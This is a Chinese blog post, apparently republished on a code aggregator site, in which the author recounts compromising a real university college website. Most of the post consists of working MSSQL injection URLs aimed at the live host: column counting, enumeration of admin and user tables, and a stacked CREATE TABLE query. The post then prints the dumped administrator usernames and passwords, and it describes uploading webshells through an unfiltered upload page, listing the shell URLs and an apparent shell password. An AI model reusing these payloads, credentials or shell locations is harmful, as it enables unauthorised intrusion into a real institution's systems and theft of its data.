当前位置: 代码迷 >> SQL >> 反哺母校首先弹(本科生学院蛋疼MSSQL注入点)
  详细解决方案

反哺母校首先弹(本科生学院蛋疼MSSQL注入点)

热度:26   发布时间:2016-05-05 12:50:36.0
反哺母校第一弹(本科生学院蛋疼MSSQL注入点)

这件事情的起因还是因为基友扔给我一个,我们学校的注入点,一看是我们学校的页面一股反哺之情油然而生,当然要责无旁贷的搞一下

注入点是这个

http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100

邪恶的注入点页面



之前和网络中心的老师亲切洽谈,得知学校的网络中心结构大致是,一堆服务器采用真实ip,在网关处使用一个web防火墙来拦截与过滤大部分的来自web

的攻击,但是主机本身的漏洞和内网方面的防护比较薄弱,但是这个web防火墙的确是很强大,在之后的检测后勤系统的时候遇到了一次,不过这个

本科生学院的网站并不在网络中心的网络中,但是wvs等扫描工具依然被拦截了。

 

言归正传来看这个注入点,do  action这种东西是MVC(Modle View Controller)的特征,一般是JSP框架Struts Spring Hibernate使用的东西,java源代码在后台

被编译并生成Servlet,out.do模式的用户输入被框架拦截,在分发给相应的Servlet,所以相应页面在客户端是不可见的。

具体的资料看这里

http://hi.baidu.com/jeffmingming/item/7c8605f9824214643c1485f0

http://blog.sina.com.cn/s/blog_4c8f342d01000bjg.html

昨天看了JSP多层架构好像有一个config文件泄露的漏洞,这里先留个坑。

 

注入点应该是一个MSSQL的注入点,MSSQL提供了很多强大的系统函数,多行支持以及很强大的存储过程,注入点的利用方式很多

1.字符串函数 长度与分析用 datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格 substring(expression,start,length) 不多说了,取子串 right(char_expr,int_expr) 返回字符串右边int_expr个字符 字符操作类 upper(char_expr) 转为大写 lower(char_expr) 转为小写 space(int_expr) 生成int_expr个空格 replicate(char_expr,int_expr)复制字符串int_expr次 reverse(char_expr) 反转字符串 stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从 start开始的length个字符用char_expr2代替 ltrim(char_expr) rtrim(char_expr) 取掉空格 ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符 字符串查找 charindex(char_expr,expression) 返回char_expr的起始位置 patindex("%pattern%",expression) 返回指定模式的起始位置,否则为0 2.数学函数 abs(numeric_expr) 求绝对值 ceiling(numeric_expr) 取大于等于指定值的最小整数 exp(float_expr) 取指数 floor(numeric_expr) 小于等于指定值得最大整数 pi() 3.1415926......... power(numeric_expr,power) 返回power次方 rand([int_expr]) 随机数产生器 round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入 sign(int_expr) 根据正数,0,负数,,返回+1,0,-1 sqrt(float_expr) 平方根 3.日期函数 getdate() 返回日期 datename(datepart,date_expr) 返回名称如 June datepart(datepart,date_expr) 取日期一部份 datediff(datepart,date_expr1.dateexpr2) 日期差 dateadd(datepart,number,date_expr) 返回日期加上 number 上述函数中datepart的 写法 取值和意义 yy 1753-9999 年份 qq 1-4 刻 mm 1-12 月 dy 1-366 日 dd 1-31 日 wk 1-54 周 dw 1-7 周几 hh 0-23 小时 mi 0-59 分钟 ss 0-59 秒 ms 0-999 毫秒 日期转换 convert() 4.系统函数 suser_name() 用户登录名 user_name() 用户在数据库中的名字 user 用户在数据库中的名字 show_role() 对当前用户起作用的规则 db_name() 数据库名 object_name(obj_id) 数据库对象名 col_name(obj_id,col_id) 列名 col_length(objname,colname) 列长度 valid_name(char_expr) 是否是有效标识符


由于是一个无返错的注入点,一位一位的猜了一下,得到了用户名,数据库名等信息,权限是DB_owner

初步的思想是通过sysobjects和syscolumns,强行跑出表名,字段名与数据,

默认情况下,MSSQL有一个master数据库,里面的sysdatebases表存有所有的数据库名

每个数据库里面都有一个sysobjects表保存了所有的数据表,详细解释见如下网址

http://www.2cto.com/database/201204/127011.html

整理了一下MSSQL盲注所使用的注入语句

稍微说一下select as的用处是给字段创建一个别名,多用于多表查询,有相同字段的情况

select into 可以创建件一个新表,并把查询内容赋给这个表 类似 select * into newtable where tabel

inner join 是一个叫做内连接的东西,类似 select * from table_1 inner join table_2 on *

执行效果其实与 select * from table_1,table_2 where where *  一样

在where被过滤的时候,可以考虑用它来绕过

select * from master.dbo.sysdatabases where dbid>5select * from test.dbo.sysobjects where xtype=Uselect * from test.dbo.syscolumns where id=5575058select a.name from test.dbo.sysobjects as a inner join test.dbo.syscolumns as b on a.id=b.id where a.xtype=U and b.name like type%select * from test.dbo.syscolumns where id=object_id(test.dbo.test1)select * from test.dbo.adminand len((select top 1 username from test.dbo.admin))=3and (ascii(substring((select top 1 username from Com.dbo.admin admin not in ('admin')),1,1)))=97

更详细的MSSQL注入语句http://hi.baidu.com/gza520748/item/327dfd17c3e493403a176eb6


下面准备暴力猜解,试了几个工具都不行,自己手工编写了python脚本,跑短的数据还行,海量数据会出现各种不稳定的情况。

在高手的指点下使用了UNION,不用不知道,一用还真灵,爆管理员密码不费劲~

首先猜一下字段个数,有些数据库不能智能识别int 与 string类型比如MSSQL,这里先用null代替

之后再一位一位的猜测类型

http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100';create%20table%20test1(id%20int)--http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from test1--http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=2%20union%20all%20select%201,2,3,'4','5','6','7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20test1 --
得到字段的数量和类型,下面就是猜测数据表的名字了

一开始我想到的是用select like的方法可是%被过滤了,这时机友大神又及时出现,提供了charindex()函数

这里information_schema.tables 与 sysobjects大致相同,不同点是,information_schema是一个单独的数据库,里面存放了其他库的所有信息

而sysobjects是一个数据库表,每个数据库中有一个存储自己的表的信息,而且会包含系统表,加上xtype=‘U’就好

http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',table_name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20information_schema.tables where  charindex('admin',table_name)>0--
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20sysobjects where  charindex('admin',name)>0 and xtype='U' --


一番查找之后找到了那么几个可疑表

关于admin的表   ('t_glzx_admin','t_zxdc_Admins')关于user的表	('t_forum_user','t_out_user','t_user_content')

找字段名的方法和上面类似

http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100' and 1=3 union all select  1,2,3,'4','5',column_name,'7',8,9,table_name,11,'12','13','14',15,table_schema,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from information_schema.columns where table_name='t_glzx_admin'

使用sysobject 方法类似,只不过使用到object_id这个函数

http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100' and 1=3 union all select  1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,'16',17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from syscolumns where id=object_id('t_zxdc_Admins')--

有了表名和字段名,得到数据就不是问题了,在这几个表里面找了一下,终于找到了管理员密码

t_zxdc_Admins :('Admname','admpwd')Admname : 1admpwd  : 1t_glzx_admin : ('id','admin','password','entertime') id       :1admin    :administratorpassword :MQ==   base64(1)管理员账号在此t_user_content   : ('id','userid','userenglishid','user_password','user_name','bsys','slms')userid       :管理员 userenglishid:administratoruser_password:hitucadmin2011   数据库中的密码使用了base64加密
进入后台是这个样子


后台看了一下,存在一个没有过滤任何后缀的上传页面

http://hituc.hit.edu.cn:2011/Manager/manager/addnews.jsp

直接上传一句话,在上传大马,拿到shell了,jsp的马在不同JDK版本下会产生错误,有点蛋疼。

http://hituc.hit.edu.cn:2011/data/xwxx/JS/Iframe.jsphttp://hituc.hit.edu.cn:2011/WLBG.jsp   ninty


在WEB-INF目录下下载了struts-config.xml,看来是一个struts架构的网站。

找到了manager.do?viewType=newsdetail的转跳页面

        <forward name="newsdetail" path="/content/newsdetail.jsp" />
找到了这个目录发现,这个网站是由 伊春市体育信息网 这个模板修改而来,但是因为,对于structs的架构不算特别了解,没有找到

具体出现漏洞的语句,这里先留个坑。


  相关解决方案